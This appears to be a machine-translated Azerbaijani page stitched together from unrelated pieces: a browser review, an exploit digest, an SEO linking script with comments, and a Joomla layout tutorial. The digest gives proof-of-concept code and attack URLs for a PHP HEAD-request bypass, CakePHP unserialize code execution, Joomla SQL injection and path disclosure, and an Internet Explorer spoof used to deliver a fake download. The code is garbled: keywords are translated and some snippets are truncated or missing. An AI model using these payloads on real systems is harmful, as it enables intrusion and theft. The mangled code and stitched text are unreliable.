29.03.2022

Hacklər və əlavələr. Layer tort və com_weblinks Joomla Məyusedici veb bağlantıları php


YRC Weblink brauzeri Hindistanın proqram təminatı şirkəti YRC Group Inc tərəfindən yaradılmış və yayılmışdır. Buna görə də, Hindistan Google-u defolt ana səhifə olaraq təyin edilmişdir :))

Hindistanlı proqramçılar dünyanın ən yaxşılarından biri hesab olunurlar (rus və çin dillərindən sonra :), lakin bu brauzerdə bir şey səhv oldu, çünki bu, brauzer deyil, sadəcə bir növ bayramdır. Bu brauzerdə həyata keçirməyə çalışdıqları ideyalar əladır, lakin həyata keçirilməsinin özü əlçatmazdır. Brauzer "kötük göyərtə vasitəsilə" işləyir, yəni qəribə və pisdir. Mən bunu iki fərqli kompüterdə - Windows 7 və Windows 8 altında - sınaqdan keçirdim və burada və orada nasazlıqlar və donmalar.

Bununla belə, gəlin qaydada gedək.

Quraşdırıldıqdan sonra brauzer bəzi parametrləri seçməyi təklif edir (məsələn, yuxarıdakı ekran görüntüsündə olduğu kimi) və əlavə olaraq bulud sinxronizasiyası və parametrlərin, əlfəcinlərin, qeydlərin və faylların saxlanması üçün hesab yarat.

Əla fikir! “Qeydiyyatdan keç” mənasını verən “Qeydiyyatdan Keç” linkini sıxıram, gülməli şəkilləri olan sayt açılır, amma nədənsə YRC Weblink-də deyil, standart olaraq kompüterdə quraşdırılmış brauzerdə açılır və bu, ilk qəribəlikdir. Başqa bir qəribəlik odur ki, siz kifayət qədər çox məlumat daxil etməlisiniz - niyə? Məsələn, Maxthon brauzerində buludda qeydiyyatdan keçmək üçün sadəcə e-poçt və parol daxil etmək kifayətdir ki, bu daha sadə, daha xoşdur və heç bir sual doğurmur.

Yaxşı, bütün bu məlumatları daxil edirəm. Hesabımı təsdiqləmək üçün e-poçt daxil olur, linkə klikləyirəm, lakin sayt mənə "Oops! - Məlumatlarınızı verilənlər bazasında tapa bilmirəm" deyir. Ancaq sonra yeni bir keçidlə başqa bir məktub gəlir, oradakı linkə və yenidən klikləyirəm - Oops! Ancaq bu yüksəlişlər zamanı üçüncü məktub gəlir və orada deyilir - təbriklər, hesabınız təsdiqləndi! Bu, bir növ Hindistan hesabının yoxlanılmasıdır.

Brauzeri, parametrləri açıram, əlfəcinləri idxal etməyə çalışıram. Nöqtəsiz diapazondakı brauzer mənə məlum olan bütün brauzerlərin problemsiz baxdığı, başa düşdüyü və qəbul etdiyi .html formatlı əlfəcin faylını görmür. Mən fayl adını əl ilə daxil edirəm, Import düyməsini basın və hesabat əldə edin - əlfəcinlər uğurla idxal edildi!

Burada yalnız haradan uğurla idxal olunur??? Nə brauzerdə, nə də buludda onlar yoxdur. Əməliyyatı təkrar edirəm və eyni nəticə. Eybi yoxdur. Biz davam edirik.

Buludda və parametrlərdə Qeydlər elementi var. Daxili notepad istifadə edərək yaradıla bilən və avtomatik olaraq buludda saxlanılan Maxthon brauzerindəki qeydləri xatırlayaraq, YRC Weblink-də oxşar bir şey tapmağa çalışıram, təəssüf ki, heç bir faydası yoxdur. Qeydlərin nəzərdən keçirilməsi var, lakin onları yaratmaq üçün heç bir vasitə yoxdur. Qəribə? Və necə!

Yaxşı. Görək daha nələrimiz var. Quraşdırma zamanı brauzerin özü (sorulmadan) iş masasında iki qısa yol quraşdırdı - brauzer qısayolu (bu normaldır) və Twitter qısayolu.

Bu qısa yola klikləməklə Twitter ilə ayrıca brauzer pəncərəsi açılır. Bunu nə cəhənnəm edir və hətta standart olaraq? Bəlkə mən ümumiyyətlə Twitterdən istifadə etmirəm? Yaxşı, Twitter qısa yolunu masaüstündən sildim, amma orada deyildi! İndi tapşırıqlar panelində brauzerin qısa yolunu (twitter deyil) kliklədiyiniz zaman brauzer Twitter tərəfindən vurğulanır! Ömrümdə belə bir bayram səhvi görməmişdim!

Yeri gəlmişkən, yuxarıdakı ekran görüntüsündə gördüyünüz bu üç pəncərə haqqında. Xülasə parametrləri pəncərəsi hər dəfə asılır. Və bunu yalnız Tapşırıq menecerində prosesi söndürməklə, fərqli bir şəkildə - heç nə ilə kəsə biləsiniz. Sinxronizasiya pəncərəsini yalnız sistemdən çıxmaqla bağlaya bilərsiniz.

"Xeyr" düyməsini sıxsanız, pəncərə həmişə açıq qalacaq. Brauzerin özü, əksinə, zaman-zaman kortəbii olaraq sönür. Və nə gülməli: brauzer sönür, lakin asılmış Xülasə pəncərəsi və açıq Sinxronizasiya pəncərəsi yoxdur və siz onları Tapşırıq Menecerində kəsməyincə, brauzer tərəfindən tərk edilmiş, yetim olaraq asılır. Peri səhvləri!

Ancaq sadalamamaq düzgün olmazdı brauzerin müsbət cəhətləri.

Birincisi, bu anonim sörf rejimidir. Parametrlərdə bu rejimi yandırın və brauzer önbelleği, kukiləri istifadə etmir, baxış tarixini qeyd etmir. Yalnız bu rejimdə işləyən brauzerlər var, məsələn, Browzar, bəzən zəruri, lakin ümumiyyətlə son dərəcə əlverişsizdir. Və bu rejimi tez bir zamanda qoşmaq-bağlamaq imkanı brauzer üçün böyük bir artıdır.

İkincisi, YRC Weblink standart axtarış sistemini seçmək imkanına malikdir. Bununla belə, kifayət qədər xüsusi bir siyahıdan seçim etməlisiniz:

Bununla belə, axtarış sisteminin ünvanını “Yenini təyin et” düyməsini sıxmaqla əl ilə də təyin etmək olar (bu ekran görüntüsündə görünmür, siyahının altındadır).

Yaxşı, sonuncu, lakin çox əhəmiyyətli artı - YRC Weblink sistemi demək olar ki, yükləmir! Müqayisə üçün, orada 10 tab açdım və Yandex brauzerində eyni ünvanlarla 10 tab açdım (sistem yükləmə baxımından brauzerlər arasında lider) və şəkil belə oldu.

Yandex brauzeri:

YRC Weblink-in bu mənada, yaxşı mənada demək olar ki, rəqabətdən kənarda olduğunu təxmin etmək çətin deyil.


XÜLASƏ. Yaradıcıların bu brauzerdə həyata keçirməyə çalışdıqları bütün ideyalar düzgün yerinə yetirilsəydi, bunun üçün heç bir qiymət olmayacaq, YRC Weblink ən yaxşı və ya ən yaxşı brauzerlərdən biri olduğunu iddia edə bilər. Amma orada müşahidə olunan o nöqsanlarla “C” qiymətini belə çəkmir. Mən ona qiymət verirəm 3- .

Testdən sonra brauzeri silirəm - kompüterdə belə bir səhv proqramına ehtiyac yoxdur. Yaxşı, YRC Group Inc-dən əlavə addımlar gözləyirik. Hindistanlı proqramçılar bütün çatışmazlıqları aradan qaldıra və brauzerin həqiqətən işləyən versiyasını buraxa biləcəklər, onlara şərəf və təriflər yağdıracaqlar. Onlar bacarmayacaqlar - dünyada daha bir ölü doğulmuş brauzer olacaq.

Bu ay səhv axtaranlar bizi populyar tətbiqlərdə yeni yüksək profilli istismarlarla əyləndirmək istəmirlər. Əlbəttə ki, tanınmış şirkətlərin məhsullarında çoxlu məsləhətlər dərc olunub, lakin onların çox az birində həzm oluna bilən PoC kodları var. İcmalımızda mən bu yaxınlarda təsvir edilən ən əhəmiyyətli və tam zəiflikləri toplamağa çalışdım, ona görə də arxanıza oturun və oxumaqdan həzz alın.

HTTP baş sorğularının idarə edilməsində PHP zəifliyi

qısa

Martın 3-də müəyyən Adam İvanyuk PHP tərcüməçisində HEAD sorğularını kifayət qədər düzgün emal etməyən maraqlı xüsusiyyət aşkar etdi. Tədqiqatçı bu açığı “PHP skriptlərində HTTP HEAD metodu hiyləsi” adlandırıb.

Bir çox koderlər PHP skriptlərini, orada yazılmış bütün təlimatların ortada bir yerdə kəsilmədən (xüsusilə də qısa skriptlərdə) uğurla yerinə yetiriləcəyi ümidi ilə inkişaf etdirirlər. Skript GET, POST, PUT metodlarından istifadə edərək son istifadəçi tərəfindən tələb olunarsa, bu baş verir.

Ancaq HEAD kimi başqa HTTP üsullarının da olduğunu bilməlisiniz. Məhz bu metodu PHP-də işləyərkən təhlükəsizlik boşluğu yarana bilər.

Tərcüməçi mənbələrindən birinə baxırıq: ./main/SAPI.c, sətir 315:

əgər (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(istək_info).yalnız başlıqlar = 1;
...

Hər hansı bir məlumat daxil olduqda, php_ub_body_write funksiyası yerinə yetirilir. Sonra, main/output.c, 699-cu sətirə baxın:

əgər (SG(istək_info).yalnız başlıqlar) (
if(SG(başlıqlar_göndərilir))
{
0 qaytarmaq;
}
php_header(TSRMLS_C);
zend_bailout();
}

Burada ilk ekran çıxışında və HEAD metodundan istifadə edərkən zend_bailout funksiyasının skripti dayandırdığını görə bilərsiniz.

İstismar edin

$line="Nik: ".htmlxüsusi simvollar
($_POST["nick"])."

Mətn: ".htmlspecialchars
($_POST["mətn"])."


";
$f=fopen("book.txt", "r");
$data=fread($f,fayl ölçüsü("kitab.txt"));
fclose($f);
$f=fopen("book.txt", "w");
$data=$line.$data;
echo $data;
fwrite($f,$data);
fclose($f);
?>

İndi HEAD metodundan istifadə edərək bu skriptə daxil olaq:

stream_context_get_default
(massiv("http"=>array("metod"=>"HEAD"))));
print_r(get_headers("http://site.com/guestbook.php"));
?>

Gözlədiyiniz kimi, qonaq kitabımız "echo $data;" sətirində dayanacaq, buna görə də book.txt faylı sadəcə sıfıra sıfırlanacaq.
Bu nümunə olduqca dağıdıcıdır. İkinci misalda, biz primitiv idarəetmə panelində avtorizasiyadan keçə bilərik:

session_start();
echo "Uzun sətir təxminən 4090 simvoldan ibarətdir";
$_SESSION["admin"]=1;
if (!isset($_POST["keç"]) ||
$_POST["parol"]!="bir neçə parol")
{
əks-səda " Səhv və ya boş parol.
";
$_SESSION["admin_level"]=0;
}
?>

Bu skriptdə adi üsullardan istifadə edərək daxil olduğunuz zaman seansda inzibati dəyişən təyin edilir. Daha sonra istifadəçi səhv parol daxil edibsə, bu dəyişən sıfıra təyin edilir və istifadəçi admin olmur.

HEAD vasitəsilə idarə panelinə daxil olsaq, onun icrası “echo” olan kod parçası ilə dayandırılacaq, beləliklə, inzibati dəyişən sıfıra sıfırlanmayacaq və biz proqramın qapalı hissəsində təhlükəsiz şəkildə dolaşa bilərik. Burada yadda saxlamaq lazım olan bir şey odur ki, əksər veb-serverlərin çıxış buferləmə dəyəri 4096 baytdır, ona görə də iş nümunəsində “Uzun sətir təxminən 4090 simvol ehtiva edir” sətrinə ehtiyac duya bilərik.

İstismar edin

  • PHP<= 5.3.5

həll

Bu baxış zamanı PHP-nin ən son versiyası 5.3.5 versiyasıdır. Bu səhv üçün heç bir düzəliş yoxdur, ona görə də sizə yalnız HEAD metodundan istifadə edərkən gözlənilməz vəziyyətlər üçün skriptlərinizin mənbələrini diqqətlə nəzərdən keçirməyi məsləhət görə bilərəm.

CakePHP-də ixtiyari kodun icrası

qısa

CakePHP PHP-də yazılmış və açıq mənbə prinsipləri üzərində qurulmuş ən məşhur (Google-da 7.000.000-dan çox qeyd edilmiş) veb proqram çərçivəsidir. CakePHP Model Görünüş Nəzarətçisi (MVC) modelini tətbiq edir.

Əvvəlcə bu çərçivə məşhur Ruby on Rails-in klonu kimi yaradıldı, oradan bir çox ideyalar götürüldü:

  • Öz fayl strukturu;
  • bir çox plaginlərə dəstək;
  • məlumatların abstraksiyası (PEAR::DB, ADOdb və Cake-in öz inkişafı);
  • bir çox DBMS (PostgreSQL, MySQL, SQLite, Oracle) üçün dəstək.

Təəccüblü deyil ki, belə bir əlamətdar proqram məhsulu bir çox pentesters tərəfindən diqqəti cəlb etdi. Bir müddət əvvəl feliks ləqəbli bir şəxs bu çərçivədə sehrli üsullar və seriyadan çıxarma funksiyasının istifadəsi ilə bağlı maraqlı bir səhv tapdı (jurnalın keçən ilki nömrələrində bu zəifliklər sinfi haqqında daha çox oxuyun).

Əvvəlcə ./libs/controller/components/security.php komponentini açın və POST sorğularından istifadə edərək XSRF hücumlarından qorunmaq üçün cavabdeh olan aşağıdakı kodu axtarın:

funksiyası _validatePost(&$controller)
{
...
$check = $controller->data;
$token = urldecode($check["_Token"]["fi elds"]);
if (strpos($token, ":")) (
list($token, $locked) = partlatmaq(":", $token, 2);
}
$kilidlənmiş = seriyadan çıxart(str_rot13($kilidlənmiş));
...
?>

Burada, $check massivi bizim POST məlumatlarımızı ehtiva edir və $locked dəyişəni str_rot13() funksiyasından istifadə edərək gizlədilmiş seriallaşdırılmış sətirdir və bu, tamamilə bizim nəzarətimiz altındadır.

Bu məqamda ][-dəki əlaqəli məqalələri oxumayanlar üçün bir qədər uzanmağa və PHP sehrli üsullarında özünü göstərən səhv haqqında qısaca danışmağa dəyər. Beləliklə, PHP-nin 5-ci versiyasında OOP proqramlaşdırmasının əsas konsepsiyası meydana çıxdı: konstruktor və dağıdıcı. Konstruktor “__construct” metodu ilə, dağıdıcı isə “__destruct” metodu ilə həyata keçirilir. İşinin sonunda və unserialize() funksiyası vasitəsilə çağırıldıqda, hər bir obyekt kodda yazılıbsa, öz __ məhvetmə metodunu yerinə yetirir.

İndi çərçivəmizə qayıdaq və ./libs/configure.php faylından Tətbiq sinfinin destruktoruna baxaq:

funksiyası __destruct()
{
əgər ($this->__cache)
{
$core = App::core("tort");
unset($this->__paths);
Cache::write("dir_xəritə", massiv_filtr($this->__yollar),
"tort_core");
Cache::write("fi le_map", array_filter($this->__map),
"tort_core");
Cache::write("object_map", $this->__objects,
"tort_core");
}
}

Yuxarıdakı koddan, Cache obyektinə ixtiyari dəyərlər yazmaqla bu metodun pozula biləcəyini başa düşə bilərsiniz. Crack üçün ən maraqlı açar 'fayl_map'dır. O, siniflər və onların müvafiq PHP faylları arasındakı əlaqələri idarə edir və həmçinin iş vaxtında əlavə sinifləri yükləmək üçün istifadə olunur.

Sinif yükləməsi üçün faktiki kod bir az daha mürəkkəb görünür, lakin hamısı Tətbiq sinfində __load metodundan aşağıdakı koda çevrilir:

...
əgər (file_mövcuddur($ fayl)) (
əgər (!$this->qayıt) (
tələb ($fayl);
$this->__loaded[$file] = true;
}
doğru qayıt;
...
?>

Bingo! $file dəyişənini əvəz etməklə biz öz PHP kodumuzu daxil edə bilərik! Üstəlik, bu, əsl Uzaqdan Fayl Daxiletmə səhvi olacaq - beləliklə, yerli faylları serverə yükləmək üçün heç bir əlavə fəndlərə ehtiyacımız olmayacaq. Bununla belə, aşkar edilmiş zəifliyin müəllifi bu dəliyin LFI istismarını təklif edir, çünki CakePHP krakerə məlum olan kataloqda seriallaşdırılmış formada olan fayl əsaslı yerli keşdən istifadə edir.

İstismar edin

Zəhərli seriallaşdırılmış sətir yaratmaq üçün kiçik bir PoC olaraq, Feliks aşağıdakı kodu təklif edir:

$x=newApp();
$x->__cache=1;
$x->__map=array("Əsas" => massiv(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"foo" => "");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);
?>

Əlbəttə ki, əvvəlcə CakePHP-dən lazımi sinifləri daxil etməlisiniz. Malloc.im/burnedcake.py saytında tapa biləcəyiniz tam xüsusiyyətli Python istismarı da var.

Bu süjet təhlükəsizlik nişanları ilə POST formalarından istifadə edən və standart keş fayl yerini dəyişməmiş CakePHP ilə qurulmuş hər bir proqramda işləməlidir. Varsayılan olaraq, istismar verilənlər bazası konfiqurasiyasını göstərir, digər faydalılıqlar daxili PHP yükünü dəyişdirməklə asanlıqla əlavə olunur.

Hədəflər

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

həll

Təsvir edilən zəifliyi aradan qaldırmaq üçün sadəcə olaraq cakephp.org istehsalçısının saytından istifadə etdiyiniz CakePHP filialının ən son versiyasını yükləmək lazımdır.

Yolun açıqlanması və Joomla-da potensial SQL inyeksiyaları!

qısa

Joomla, PHP və JavaScript dillərində yazılmış və MySQL verilənlər bazasını depo kimi istifadə edən məzmunun idarə edilməsi sistemidir. Bu GNU GPL altında lisenziyalı pulsuz proqramdır.

Əgər haker fəaliyyətinizdə Joomla!-a rast gəlməmisinizsə, deməli, sadəcə olaraq başqa planetdə yaşayırsınız :). Bu baxışda mən bir anda Joomla-nın müxtəlif qollarında gözə dəyməyən və irəliləyiş olmayan iki potensial SQL inyeksiyası haqqında danışmaq istəyirəm.

Beləliklə, ilk inyeksiya mühərrikin 1.5.21 versiyasında YGN Etik Hacker Qrupunun (yehg.net/lab) uşaqları tərəfindən aşkar edilmişdir.

Tədqiqatçıların özləri yazdıqları kimi, potensial SQL inyeksiyaları onlar tərəfindən Joomla! 1.5.20 XSS üzrə tədqiqatın bir hissəsi kimi. Bu səhvlər dərhal mühərrik inkişaf qrupuna bildirildi və onlar tezliklə 1.5.21-in "yamaqlanmış" versiyasını buraxdılar. "Yamaqlanmış" sözü dırnaq içərisindədir, çünki tərtibatçılar YEHG komandasının məsləhətlərinin əksəriyyətinə göz yumdular və Joomla! daxili simli təhlükəsizlik filtrlərinə malikdir.

Nəticədə, səhv axtaranlar aşkar edilmiş potensial SQL inyeksiyalarının istismarının təfərrüatlarını geniş ictimaiyyətə açıqladılar, əlbəttə ki, biz bundan istifadə edəcəyik.
Beləliklə, ./components/com_weblinks/models/category.php faylını açın və içərisində aşağıdakı kodu tapın:

_buildQuery() funksiyası
{
$filter_order = $this->getState("filter_order");
$filter_order_dir = $this->getState("filter_order_dir");
$filter_order = JFilterInput::clean($filter_order, "cmd");
$filter_order_dir =
JFilterInput::clean($filter_order_dir, "word");
// Hamının siyahısını almalıyıq
// verilmiş kateqoriyada internet bağlantıları
$query = "SEÇ *" .
" #__veb keçidlərindən" .
" WHERE catid = ". (int) $this->_id.
" VƏ nəşr olundu = 1" .
"VƏ arxivləşdirilmiş = 0".
" SİFARİŞ ". $filter_order."".
$filter_order_dir .", sifariş";
$query qaytarmaq;
}

Burada görə bilərsiniz ki, $filter_order və $filter_order_dir dəyişənləri SQL ifadələrinə ciddi uyğunluq baxımından yoxlanılmır, yoxlama yalnız JFilterInput sinfindən standart təmizləmə metodundan istifadə etməklə həyata keçirilir:

...
"WORD" halı:
$nəticə = (string) preg_replace ("/[^A-Z_]/i", "", $mənbə);
fasilə;
...
"CMD" işi:
$nəticə = (sətir)
preg_replace("/[^A-Z0-9_.-]/i", "", $mənbə);
$nəticə = ltrim($nəticə, ".");
fasilə;
...

Beləliklə, standart olaraq, yolun açıqlanmasını alırıq. Eyni dəyişənlərdə oxşar səhv bu yaxınlarda yeni 1.6 filialından mühərrikin ilk versiyasında aşkar edilmişdir.

İstismar edin

Varsayılan olaraq, biz yalnız Joomla!-da yolun genişləndirilməsindən istifadə edə bilərik!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir=&filter_order=%00"
  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir="&filter_order=asc

və Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAA,&filter_order_Dir=2&limit=3&limit
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=1,&filter_order_Dir=yehg.net.BBBBBBBBBB,&limit=3&limitstart=4

Bununla belə, səhv axtaranlar mühərrik prototipi kontekstində artıq sındırılmış Joomla qurğularında bu səhvlərdən istifadə etməyi təklif edirlər: siz sadəcə olaraq JFilterInput::clean filtrlərini filter_order_Dir və filter_order dəyişənlərindən silməlisiniz, bundan sonra dəyişdirilmiş zəiflikdən qeyri-müəyyən müddətə istifadə edə bilərsiniz.

Bəzi bacarıqlı insanların hələ də bu bədnam filtrləri keçə bildiyi barədə məlumatlar var, lakin istismar dərin gizlidir.

Hədəflər

  • Joomla!<= 1.5.21, Joomla! 1.6.0

həll

Həmişə olduğu kimi, joomla.org tərtibatçısının rəsmi saytından yeniləməyi unutmayın. İcmalı yazarkən bu CMS-in ən son versiyaları müvafiq olaraq 1.5.22 və 1.6.0 idi.

Microsoft Internet Explorer-də ünvan çubuğunun saxtalaşdırılması

qısa

Nəhayət, sizə IE eşşəkindəki kiçik və son dərəcə gülməli bir səhv haqqında danışmaq istəyirəm ki, onu kiber flash ləqəbi ilə bir haker aşkar etdi. Bu səhv uzaq istifadəçiyə sadə saxtakarlıq hücumu həyata keçirməyə imkan verir.

Boşluq pop-up ünvan panelinin yenilənməsi zamanı baş vermiş xəta səbəbindən mövcuddur. Uzaq bir istifadəçi brauzeri ünvan çubuğunda ünvanın yalnız müəyyən hissəsini göstərməyə məcbur etmək üçün xüsusi hazırlanmış veb-səhifədən istifadə edə bilər.

İstismar edin

Ünvan çubuğunun dəyişdirilməsinə misal olaraq müəllif özü aşağıdakı PoC HTML kodunu təklif edir:


content="text/html; charset=windows-1252">

Spoof



Bu səhifədə istənilən yerə klikləyin!

Cyber ​​​​flash həmçinin keyloggeronline.com/misc/temp/about.htm ünvanında sınaq üçün PoC kodu olan hazır səhifə təqdim edir.

Bu səhifəni ziyarət etdiyimiz zaman bizi bing.com saytına daxil olmağa dəvət edən bir keçidi olan bir yazı görəcəyik. Linkə klikləməklə, ünvan çubuğunda eyni Bing-in görünəcəyi pop-up pəncərəsini görəcəyik. Aşağıda yeni Internet Explorer-i yükləmək üçün zəng edən başqa bir keçid olacaq (bundan əlavə, “Yükləmə” üzərinə getməklə biz şübhəli heç nə görməyəcəyik, baxmayaraq ki, brauzerin yeni versiyası yox, Cyber-dən psevdotrojan proqramı var. Flaş).
Beləliklə, təcavüzkar zərərli faylı asanlıqla Eşşək istifadəçisinə keçirə bilər.

Hədəflər

  • MS Internet Explorer 7, 8, 9

həll

Hal-hazırda, yumşaq olanlar təsvir olunan zəifliyi hələ düzəltməyiblər, buna görə də müvəqqəti tədbir olaraq IE-dən istifadə edirsinizsə, sizə tanış olmayan pop-uplarla daha diqqətli olmağı məsləhət görürəm.

Axtarış sistemlərinin saytınıza münasibətini yaxşılaşdırmağa kömək edən sayt üçün kiçik, lakin çox faydalı skriptləri sizinlə paylaşmağa davam edirəm. Bu dəfə səlahiyyətli səhifə keçidi haqqında danışacağıq.

Başlamaq üçün səhifə ünvanları və onların hər biri üçün mümkün lövbərlər bazası yaradaq. Biz əsas kimi *.txt faylından istifadə edəcəyik. Fayl strukturu belə olacaq:

səhifə_ünvanı_1;lövbər_1,lövbər_2,lövbər_3,...,lövbər_n səhifə_ünvanı_2;lövbər_1,lövbər_2,lövbər_3,...,lövbər_n səhifə_ünvanı_3;lövbər_1,lövbər_2,lövbər_3,...,lövbər_12,yaxud ...anchor_nch; , ...,lövbər_n

Gördüyünüz kimi, skriptin sonrakı istifadəsi istənilən sayda səhifə ünvanları və onlara lövbərlər ilə mümkündür. Səhifənin ünvanı http://www.site.ru/ olmadan yazılır, yəni. ilk tire olmadan dərhal kökdən. Ünvan lövbərlərdən nöqtəli vergül vasitəsilə ayrılır və aralarındakı lövbərlər sadəcə vergüldür. Tam ünvanı da yaza bilərsiniz, bu, şəxsən mənim üçün daha əlverişlidir və nəticənin doldurulmasını və çıxışını özünüz üçün dəyişə bilərsiniz, düşünürəm ki, intuitiv olaraq özünüz anlayacaqsınız.

Beləliklə, onlara bağlantılar və lövbərlər bazası yaradıldı, sonra saytda yenidən keçid üçün bağlantıları birbaşa göstərmək üçün PHP koduna bir nümunə verəcəyəm:

".$tex2[$tex3].""; } ?>

Bu kodu saytın istənilən yerinə yapışdırırıq, burada verilənlər bazasından 5 təsadüfi keçid və təsadüfi lövbər göstərilir. Lövbərləri seyreltmək daha yaxşıdır və linkə yalnız 1 yazmaq deyil. Saytda düzgün əlaqə ilə siz dərhal trafikin artdığını və digər sayt göstəricilərinin yaxşılaşdığını görəcəksiniz.

Suallarınızı bu yazıya şərhlərdə gözləyirəm.

Nəşr tarixi: 03 mart 2014-cü il
    Rəylər və şərhlər:

    Dmitri:
    Ssenari üçün təşəkkürlər, mən onu həyata keçirəcəyəm. Saytdan mənbə kodundan köçürmək qeyri-mümkündür, yalnız kiçik fraqmentlərlə köçürülür, bütövlükdə etmək daha rahat olardı.

    Kirill:
    Kopyalama ilə qeyd üçün təşəkkürlər, indi gördüm, mümkün qədər tez düzəltməyə çalışacağam.

    Aleksey Pavlov:
    Xəta $tex = explode(":",$sendlist[$count] sətirindədir. Sizə iki nöqtə yox, nöqtəli vergül lazımdır. Daha aydın olması üçün kodu bir az dəyişdim:$lövbər"; } ?>

    matrk:
    Məqalə tamamilə yararsızdır, çünki. Bloq surətdən qorunur.

    Kirill:
    js-də balaca tıxac var bəli onu düzəltməyə vaxt yoxdu amma yəqin başqası faydasızdır bu işdə ağıl çatmadığı üçün səhifənin mənbə koduna bax ordan götür

    matrk:
    Bunlar. Mən mənbə koduna qalxmalı və onu hər hansı zibildən təmizləməliyəm? Sən gülməlisən.

    Kirill:
    Bu, kiməsə borclu olduğumu bildirir? səndən pul aldım burda cəhd edirsən pulsuz məsləhət verirsən :))) Pulsuz pendir ancaq siçan tələsindədir, yaşla başa düşəcəksən.

    Kirill:
    Tərəvəyi çıxardın, sağlamlığınız üçün istifadə edin.

    Andrey Kopaev:
    1 - yəqin ki, bunu mysql verilənlər bazasından istifadə etməklə etmək daha yaxşıdır; daha sürətli işləyəcək, əlavə etmək daha asandır 2 - başa düşmürəm ki, hər dəfə keçidlərin siyahısını yaratmağın mənası nədir? Bu, trafik artımına necə təsir edir? ajax ilə yükləmək mümkündürmü, yəni. Bu insanlar üçündür, yoxsa botlar üçündür?

    www.site:
    Təqdimat üçün, şəxsən mən PS ilə bu cür manipulyasiyaların tərəfdarı deyiləm.

Qatlı tort

com_weblinks komponenti və Joomla səhifəsinin html işarələnməsi haqqında danışacağıq. Joomla saytında keçidlər kataloqu yaratmağın nə qədər asan olması haqqında.

Bu CMS birbaşa kodlaşdırmadan qeydiyyatdan keçmiş istifadəçi ilə interaktiv işləmək üçün yaradılmışdır. Baxmayaraq ki, Joomla-nın inkişaf tendensiyası com_weblinks komponentindən saytda tamamilə yararsız olaraq imtina etməyə və sadəcə olaraq artıq "ağır" sistemə əlavə çəki (100 kb-dən çox - 90 fayl) əlavə etməyə gətirib çıxarır. Ancaq bu komponent hələ də paylamada mövcuddur və bəzi proqramçılar tərəfindən istifadə olunur.

Ekranda görünən Joomla saytının səhifəsi, tikintisində eyni vaxtda bir çox blokun (müvafiq olaraq, bir çox şablon) iştirak etdiyi bir təbəqə tortudur. Joomla fəlsəfəsinin gəldiyi yer budur - böyük bloklu saytın qurulması. Hər blokun öz html işarələmə şablonu (layout) olmalıdır.

Əsas bloklar:

Əsas səhifə şablonu (site_template/index.php), html işarələməsi ilə modullar və komponentlər üçün mövqeləri müəyyən edir və bu modulları və komponentləri göstərir.
- səhifə şablonu
- modul şablonları
- komponent şablonları

Bu böyük blokların hər biri redaktə (dəyişikliklər) üçün mövcuddur. Yəni, məsələn, hər hansı modulun və ya komponentin şablonunu ayrıca redaktə edə bilərsiniz və o, səhifədə yeni görünəcək. Eyni şey səhifə şablonuna da aiddir.

Təcrübəsiz bir proqramçı üçün səhifənin məzmun hissəsindəki birinci sətirin səhifənin başlığı kimi çıxdığını və həmin səhifəyə işarə edən menyu elementinin redaktə səhifəsində redaktə olunduğunu başa düşmək çətin ola bilər. İkinci sətir com_content və ya com_weblinks komponent şablonundan əldə edilir. Və şablonlardakı sətirlər, bir qayda olaraq, sətir dəyişənləridir və onların işə salınması və lokallaşdırılması dil\ru-RU\ru-RU.mod_weblinks.ini və s. kimi dil fayllarında həyata keçirilir.

Bəzən yeni başlayan insan çaşqın olur: ekran səhifəsində eyni hekayənin məntiqi davamı kimi görünən bu və ya digər xətti hansı şablon ortaya çıxardı. Belə çıxır ki, bir sətir bir şablonda, digəri ikinci şablonda, üçüncüsü üçüncü şablondadır. Aşağıdakı sekmeli cədvəl mod_tabform modul şablonunun çıxışıdır.

Modul şablonlarına bəzən layouts deyilir. Amma bu, terminologiya məsələsidir. Mahiyyət birdir - məzmun üçün "paltar"dır. İşarələmə demək daha düzgün olardı. Beləliklə, bir ekran səhifəsinin işarələnməsi müxtəlif Joomla kataloq fayllarında yerləşir.

Menyu

Bir çox təcrübəsiz Joomla proqramçıları tez-tez menyu elementlərinin müxtəlif növləri ola biləcəyini başa düşmürlər. Başqa sözlə, menyu elementləri müxtəlif növ Joomla obyektlərinə istinad edə bilər. Bunlar müxtəlif obyektlər ola bilər, məsələn: komponentlər (səsvermə, axtarış, keçid kataloqu və s.).

Menyu elementinin növü seçimi:

Əlaqələr (com_contact )
Əlaqə kateqoriyalarının siyahısı (kateqoriyalar)
Müəyyən bir kateqoriyanın kontaktlarının siyahısı (kateqoriya)
Əlaqə ( əlaqə saxlayın)
Seçilmiş Kontaktlar (seçilmiş)

Məzmun (com_content )
Arxiv materialları (arxiv)
Material (məqalə)
Bütün kateqoriyaların siyahısı ( Kateqoriyalar)
Bloq kateqoriyası (bloq kateqoriyası)
Kateqoriya məzmun siyahısı (kateqoriya)
Seçilmiş Materiallar (seçilmiş)
Material yaradın

Ağıllı Axtarış (com_search)
Axtar ( axtar)

salam dünya! ( com_helloworld)
Mesaj ( salamat dünya)

Xəbər lentləri (com_newsfeeds)
Bütün xəbər lenti kateqoriyalarının siyahısı ( Kateqoriyalar)
Kateqoriyada xəbər lentlərinin siyahısı (kateqoriya)
Xəbər lenti (xəbər lenti)

Axtar ( com_search )
Axtarış forması və axtarış nəticələrinin siyahısı (axtarış)

İstifadəçi Meneceri (com_users )
Avtorizasiya forması (giriş)
İstifadəçi profili (profil)
İstifadəçi Profilini redaktə edin
Uçot vərəqəsi
İstifadəçi adının bərpası (xatırlatmaq)
Parolun dəyişdirilməsi (sıfırlama)

Sarmalayıcı (com_wrapper )
Sarğı

Gördüyünüz kimi, burada bütün menyu növləri komponentlərdir. Adı ilə, menyu elementinin növü əslində komponent növünün şablon adına işarə edir. Və komponent şablonları baxış qovluqlarında yerləşir (görünüş):

joomla\components\com_weblinks\views\categories
joomla\components\com_weblinks\views\category
joomla\components\com_weblinks\views\weblink
joomla\components\com_users\views\login

